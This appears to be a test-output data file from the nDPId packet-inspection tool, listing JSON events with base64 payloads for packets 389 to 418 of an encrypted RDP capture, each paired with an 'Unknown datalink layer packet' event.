+00422{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":389,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":428632,"pkt_caplen":97,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":97,"pkt_l4_len":0,"pkt":"AgAAAEUAAF1gPEAAfwYpX8CoAo6sEAK5DT3NDkebQQT5vP9qUBj5ji4uAAAXAwMAMAAAAAAAAABwh1oLXUAu0gLvwoc+YoPXZRFVI9B6dh+ykhC2ruFS6BmVY7scOwwBJg=="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":389,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00351{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":390,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":428632,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9ALhHm0EEUBAf9MB\/AAA="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":390,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00350{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":391,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":428711,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9ALhHm0E5UBAf8sBMAAA="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":391,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00434{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":392,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":429059,"pkt_caplen":105,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":105,"pkt_l4_len":0,"pkt":"AgAAAEUAAGUAAEAAQAbIk6wQArnAqAKOzQ4NPfm9ALhHm0E5UBggAL1uAAAXAwMAOOAIO32NJwumVSE49abjkPZ\/OAyxxn2NMw6leFbfKRavU+9ebg\/s0Y9tvSJiU2FSooz3AjCiW7V8"} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":392,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00350{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":393,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":448823,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAAChgPUAAfwYpk8CoAo6sEAK5DT3NDkebQTn5vQAZUBD43+f9AAA="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":393,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00350{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":394,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":448870,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAAChgPkAAfwYpksCoAo6sEAK5DT3NDkebQTn5vQBOUBD4quf9AAA="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":394,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00350{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":395,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":448918,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAAChgP0AAfwYpkcCoAo6sEAK5DT3NDkebQTn5vQC4UBD4QOf9AAA="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":395,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00425{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":396,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":448967,"pkt_caplen":97,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":97,"pkt_l4_len":0,"pkt":"AgAAAEUAAF1gQEAAfwYpW8CoAo6sEAK5DT3NDkebQTn5vQC4UBj4QCU8AAAXAwMAMAAAAAAAAABxhjfyIAN6b6wIjNRSZImNf8rZnudahW1lv\/ZW2RLb\/IC63G\/CcobRog=="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":396,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00352{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":397,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":449002,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9APVHm0FuUBAf\/r\/OAAA="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":397,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00433{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":398,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":449023,"pkt_caplen":105,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":105,"pkt_l4_len":0,"pkt":"AgAAAEUAAGVgQUAAfwYpUsCoAo6sEAK5DT3NDkebQW75vQC4UBj4QL59AAAXAwMAOAAAAAAAAAByifxG52sc0jZr70W2EEMEZ7cOKcHmGAYwmTvciYfwP\/S+6GpYWwGQ1NCDniRwwi6Z"} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":398,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00422{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":399,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":449094,"pkt_caplen":97,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":97,"pkt_l4_len":0,"pkt":"AgAAAEUAAF1gQkAAfwYpWcCoAo6sEAK5DT3NDkebQav5vQC4UBj4QLP5AAAXAwMAMAAAAAAAAABzQD8xPFTWXmJMBfu60qxy3HjoRzSjE3nRLD6Dd7cVGwwaAkHNFNfP+A=="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":399,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00351{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":400,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":449115,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9APVHm0GrUBAf\/r+RAAA="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":400,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00351{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":401,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":449258,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9APVHm0HgUBAf\/r9cAAA="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":401,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00422{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":402,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":449567,"pkt_caplen":97,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":97,"pkt_l4_len":0,"pkt":"AgAAAEUAAF0AAEAAQAbIm6wQArnAqAKOzQ4NPfm9APVHm0HgUBggAE04AAAXAwMAMOAIO32NJwunTXGuZlXBAO7xaqD0rY13V2+pyMhWWQZnSHoUePCrCxwgRj5L64fsAA=="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":402,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +02068{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":403,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":465283,"pkt_caplen":1317,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":1317,"pkt_l4_len":0,"pkt":"AgAAAEUABSFgQ0AAfwYklMCoAo6sEAK5DT3NDkebQeD5vQC4UBD4QGmEAAAXAwMGbwAAAAAAAAB0jcnjmLJDXOSipqe9svIEiSfVQlKcsi3SLN2TXcfdWXZfUvpQOhthF81NPJPwNkECezshpP\/DjgTR9LhQXA6xwtHGLlBOAw71Cb0lfUtvF2n2sIpd+w0yt\/ru3xotkqhpZNzC9e5BHU3J2bgrUuojNb7VBEz7m+zVDchTSfrWB3ZgZ+Gl2y3Suoh61jHIx6ah\/sAuw5CFUXlrWmEkDxIys+Zx23gal+w2\/IJ+Lwsr7YsQFRRWrV5SzWRUXn4UguvbZigA+6FjJJlP1H5IdWZoQsk8vPDHnW6lbzmE+QIXf3pRouFg2iNEpGv0c0KpA6dAFnJ3QkAyL0kfDFR18lkQksMjtw80Ji0d+2kV5HqLYmare8mdlNecunaDaCwbTvG3cSc8am2W4dCIX34UVpywHU0ACKGlyC67sDANCLM0O6CwsUhImQZQj4G+6vJ\/8Wd547itDU0IWqwW6yNZft8hCASXh9DwLd2MFd0S5QjRcS2uCKlioVVKXOLFXvEyTAm1srlMNOuy6qiV\/oX\/LkHyJZciQYZuSyLVpYl1bftKf7e3scLPt0vdA\/2xQx8txoJRk6mytfXm5wxjGz2TlHmC4aSdRtTaxzBFanBUT2CxPl\/qHhGK9vr2S34kTjHrFAOuVRV6QmqxIwFofX172ZdK8rHaWQWjZmnklutBnYpWWQ1eOZwI1AnqlftSR53e9\/fRuxTBSa1gjTwrydd5fG4Bcuj624U0NzQmgY97b2FBp05\/N49r8EY2qrUkeSuMvGSImUfSGNrFfkg31rwE1eluhtDTLDuCaxo0GW7DqoZh\/uobRGHci34Mm+IADakDPPyPNCKFgcIYjuzMD4SpWhyn3gcuiOqshhsEp5rhJRSfK7Omaa746XfR8WFGQ3u9fdy6wWYNHDlIfKLmb\/2hZqjJWhMu+p0u7Gu\/ZFqfBHFN2qaQlWLmaKtl6Y0uX5QGA5X0rB+LFKwU+i6WyH2sym7D1CEtHalz39suJAyc5sha2FRebOBTC7dP18P26sUfS6c75efiRsIfrtD+psR5ZCxZzxMZKjqQg0q7Q8YvgQC9BylampQ3suQxfJ9hAhJcWcV6+EHPUGoPw9pD8ci4R1NxLcLAqOb7yzcvLlFqBEDzSmoq7ay1CYFJbwTL0LromyrWEbiALRnnOK\/EK1fXNYtFvvoUTe1EjVKqDagdKuhikdD7gF1hJXmbrRZkPZCdWIofjFkg2xfVNF+krBljom5JYVSB4zATbgsIWm3d+vQl4cqgSErzoIAnChMoGuX+Sy3gmK5vZJa0X+XV7oS3IZoJIYQzEy1XcBFCehA6o9JqXaSrBrtTOeNgAwpBsNRPZeOXQoCQ2cK8sZi3NHk6Gp50poi6XFBpSJGJSn9HYiEbMnraJzIad1WDwFSzqv64uIPBfaIWaZytOqmxDvlbryPq2SKGtXU6HDDOi4QOgYTCAs7JEJKj+nDAVmoPafaNRZuJQmZ5UpUvGsBwMada9hdnR+CvUXj+hyFTNWaxcm6y1DvWyoczU8Cwd\/++uvajtA2UxuYFSjfTElj\/N0hGuqX3ANQFw3PGiGwqx6BMazS+VLO6rHaKWDuPLd3ohmpLui\/IToLAJPZqia4VjjDYMILRC+JZTPs+THi4VJm+kY3l6xy8xxuWIK+gcEEgu6OrPTys0FlSVy3PdKJNGX29"} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":403,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00866{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":404,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":465339,"pkt_caplen":423,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":423,"pkt_l4_len":0,"pkt":"AgAAAEUAAaNgREAAfwYoEcCoAo6sEAK5DT3NDkebRtn5vQC4UBj4QJfTAADzDV9VVPD\/eZ9shUDf9NfDvAkZJeD8DBCr5n1PKoLzRkGaC5ZgiltPzh4G9OLdIXVLvKCRgq2rEpb4rmoXcdDO2WnZQ7AWidAtuW49BJKymc3xIJ6x\/aQ2PGQA6ri4evsqSazd9YkT\/BnDRUf3Dk6nbesM50Uq29kUPiPw7s51lEz5HhjSI9P6IOoQqRr1iGvSd\/lBANdPQBvMqTXnLDF5tx9hMKGMndgbEzCHRCBGD4UYc+lo2KJrygbifG3Pv0OHyjWIws4R73FblNP4lQZ7Lh0CTkPbmnpH61iiId3lPx9os9TXNWEN7EvrNHC+PxbN6Oh6c8cNW5wP7HUQPpR3aErtgIHvKhl\/JZubKjmAIgszSZsbpgtDXZ8norCM9c2+JrXmXAKltY\/C8U10HyuykphwSYpvapsusgTPn1uAQxH\/1zKaj2kKND6RqFNrCw\/EAyRH+2QVB8MtrCMS5bRnq\/pv2of\/rZhc4aekptuz9VxGvlsnvYQtuQnu"} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":404,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00350{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":405,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":465375,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9ASpHm0hUUBAf9Li9AAA="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":405,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00422{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":406,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":465382,"pkt_caplen":97,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":97,"pkt_l4_len":0,"pkt":"AgAAAEUAAF1gRUAAfwYpVsCoAo6sEAK5DT3NDkebSFT5vQC4UBj4QPfnAAAXAwMAMAAAAAAAAAB17PQVSmgf9eSJOxl44W4ytpwemPR7iHKMeDfFPIGPiBr+WF8LBrDUsg=="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":406,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00422{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":407,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":465464,"pkt_caplen":97,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":97,"pkt_l4_len":0,"pkt":"AgAAAEUAAF1gRkAAfwYpVcCoAo6sEAK5DT3NDkebSIn5vQC4UBj4QFGlAAAXAwMAMAAAAAAAAAB21jv01O91CR8DStkQ0qThHBQq4uTEP8d6e1D8YgrYnWM+hf70iqoJLw=="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":407,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00350{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":408,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":465489,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9ASpHm0iJUBAf8riKAAA="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":408,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00434{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":409,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":465631,"pkt_caplen":105,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":105,"pkt_l4_len":0,"pkt":"AgAAAEUAAGVgR0AAfwYpTMCoAo6sEAK5DT3NDkebSL75vQC4UBj4QGErAAAXAwMAOAAAAAAAAAB3utdXVD2F5BMV5EhtziWO5VtRFE0A6mzmFQQmaZoW4Sh\/i7OWVTmNvVYrh4T\/Ao6s"} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":409,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00351{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":410,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":465662,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9ASpHm0i+UBAf\/rhJAAA="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":410,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00423{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":411,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":465778,"pkt_caplen":97,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":97,"pkt_l4_len":0,"pkt":"AgAAAEUAAF1gSEAAfwYpU8CoAo6sEAK5DT3NDkebSPv5vQC4UBj4QKqeAAAXAwMAMAAAAAAAAAB447M9\/ZRZfmSqbDnwxEB+KtkhiPdMunLbyllC6fb98Qnsi7eqHhAn+w=="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":411,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00351{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":412,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":465799,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9ASpHm0j7UBAf\/rgMAAA="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":412,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00434{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":413,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":465929,"pkt_caplen":105,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":105,"pkt_l4_len":0,"pkt":"AgAAAEUAAGUAAEAAQAbIk6wQArnAqAKOzQ4NPfm9ASpHm0j7UBggABCjAAAXAwMAOOAIO32NJwuo4mr87TKXf41dZWFCkAxrNKgISz\/KZtadYEw9aLsYBfHmYJZomCHoKuZju9\/U3LhX"} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":413,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +02074{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":414,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":466057,"pkt_caplen":1317,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":1317,"pkt_l4_len":0,"pkt":"AgAAAEUABSFgSUAAfwYkjsCoAo6sEAK5DT3NDkebSTD5vQC4UBD4QFkuAAAXAwMGbwAAAAAAAAB5VpByqj326Qmr1s5Rk2MjO2bJCeLcvUOkovBYN7SLa6bBnSkNiqovgS6uw9B\/mwSWck3XQ2eBeX81KsZquXgrtQLFv98N7hHj12edux8\/+iUFeILtzj7huWx9YlWLdlgUlSfB+qhGa2QioHgniRwwWIX3uBCV6fP6jxZpiL5AG18H0t0aaOiSBN8osGxpHssib9qQL261Cflt9TYafkpi6KCt1t\/aPhD9Fkk7vqnTYbpywyVB0UJcbnp+hpjKhOCC2t+AReuib+ymJX4FuTHe5n7LpyKkVUHEoUHMTpJa86falLM1QCJvX6aK1pZdRGRBImNJUQfc+E1mHsBkQ6PaHw75xHDg1QCEljuDKDp3e9uA+XPMf+87R3oj+taKgBLNEE6uDgxVVhaSJ90qV5BPYc\/DYe6WnVTOCcnMU8h3YgqXvPjQ79buZwqZoM7Jsn7soX3RMmLegw6U2iVAc+22jEznHm872B1r5hkcVCjQ8USrdvfJvNP5SXE+iBy9+Brn+OnManX44xLSnhExK2XDQIDOx8g69WivZQ3hXvhkDqlLVoku239oAr09guC+soR1+JV8hDTS8+EqdILKyY+EEII4uukNYclheMSIvTeNyQlB2quJEUAZM6jNGCiEm0vSLxptkVDhLso6Y6WChEOH5rVAiL+R4Q7q36ssSE7vnIkyroupUUyaXdZPwwDYR0U+sYnbpn6ACw94neYLs+N93repWlv3H\/GZ792+p9nMa9O8w3BT2Z1OY0EHchYRffwG5vBsw6ZX4S8SCizvnee0\/ksAN4x37aZMHxa22nipe2EgFI6EUynBRbV0Iuy7BFhDR8kMTN1mKrpnBQpdKWICNwPZOYUPPG1klKqz84\/tflQhL6ZdYWgADXBWOn\/NWvLpWW5ZPjsjjVVjiX4X31LYsb3LR4v\/WGZ2RWbgyTFFecEznFOofPgHRUQwDSLtF++f8TZTwr9z88e0xZs1oeQTmU6OzvaPahUMs4U\/kCe3Mjh3F8oNre6corS83C08aQ3HJmZipVSdmUyGqrvvOxMip3rqNcSqB54Gi0CgJSraqacMzofOHjs2SuY+Y53QfqrbFClew1DX\/V6gipyrEBv8SpNYGfwbF\/aXJzR1R2L76+iOT84sv+0DE9ZzdZ05je+Et6vHc4oZswJEyqAiT5G77lxViu\/mLSUxi21G0wHCE4VqCWdBg1hjjMBqePnrISD66Da3f60aO+Ocf7ZtaImzq84+P\/TTfccwqLzpTUxB97L\/a5rNuwFyX4l\/0b7FbcVmXKIfWQt+PszxmeiiBqTWbJ7yUyv8ggLrT63\/YN7KprWO5NlAy7hoBASRZG7mWVgVMdstAeJAKyvgwcv30amRMDo\/0n+XAHOYP8fRMf7QX5z3uEEdrukjBBY9WDkx9PRuiq1puGK66p8j\/VIeGB1IpsNL8H+8HqqfGh6Y94xXkPKTR\/GvRhWfbA9hAsmxR1yjL0KKukv\/F2dpKYEPywvDB+PhVN4DGsLOL7\/iyEn0C5dwlFD2j0I\/y0NpUcmuXpX82pnHSlTdoUp1HGhnGyXRXwuUSjlsthyGtmTPPc7ddldaqTSoCITn+3sjn0I\/DDNDLdPNXNfEZm5OeNozBAAjC+L+e4eB7ea26ibjyYa7uMdLLUVdSex6Hsok91kPSDBExMWFRWWidiKdJOfj"} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":414,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00865{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":415,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":466099,"pkt_caplen":423,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":423,"pkt_l4_len":0,"pkt":"AgAAAEUAAaNgSkAAfwYoC8CoAo6sEAK5DT3NDkebTin5vQC4UBj4QPogAAB70kYg5XfcwNJwZy\/tgQfespP8m88PfJe5ZsDpkF59WaSF1HMAoHrIyZ6W\/gNbdXLUMOxj+vVEbcNETVbsFTUPn0yXOj7P8oB2sHtxe7iNlux24M7nnLpkCb8ITKA98ny8sAXd6e5kVLh8hgukJFa6OCtAU5CvwjpXdlSqvJjzxywM3LdXp5EgXs7+prB+scJ70\/5LxDexMF3qD7fPJxiiRZmv8m\/LkCLBwRU8foKp2vWpiFG9zqjdsYQpt7\/xnSLCodmSVqQErK1EReftMzqE+0Nt4rkOfUFjuVZud5Ii+CE5cslBCDV\/UfoeF6GokuZv9y5K8Ga2qtvgltFSZkt6Ey3T0WYCsSoME0pHFz9Otqy9HEQrBWk+GjYtcx34KFVr4wIyYU697rtVwEat+OoXyMH1RpkkKxPKxy41zNLdZKkOafHf\/4+2Av6Z+lvXVm4u9fQ4DrXb2z2CAnwjqFfASjuE1\/Iab5p1H4jyAX5PJS3QKl5yghrmZV\/b"} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":415,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00351{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":416,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":466121,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9AWdHm0kwUBAf\/reaAAA="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":416,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00423{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":417,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":466236,"pkt_caplen":97,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":97,"pkt_l4_len":0,"pkt":"AgAAAEUAAF1gS0AAfwYpUMCoAo6sEAK5DT3NDkebT6T5vQC4UBj4QLx9AAAXAwMAMAAAAAAAAAB6EXR9XE2jhlOIpvAKSIxge8foMPi5mQQPvQjZK6tMj\/RStziDvACAnQ=="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":417,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00424{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":418,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":466256,"pkt_caplen":97,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":97,"pkt_l4_len":0,"pkt":"AgAAAEUAAF0AAEAAQAbIm6wQArnAqAKOzQ4NPfm9AWdHm0kwUBggAKhoAAAXAwMAMOAIO32NJwupO\/2E\/C49pm7PHyC3kAPphDHURWyCLOESOGkQLzeLxLUxJ+3eYBmd8A=="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":418,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} 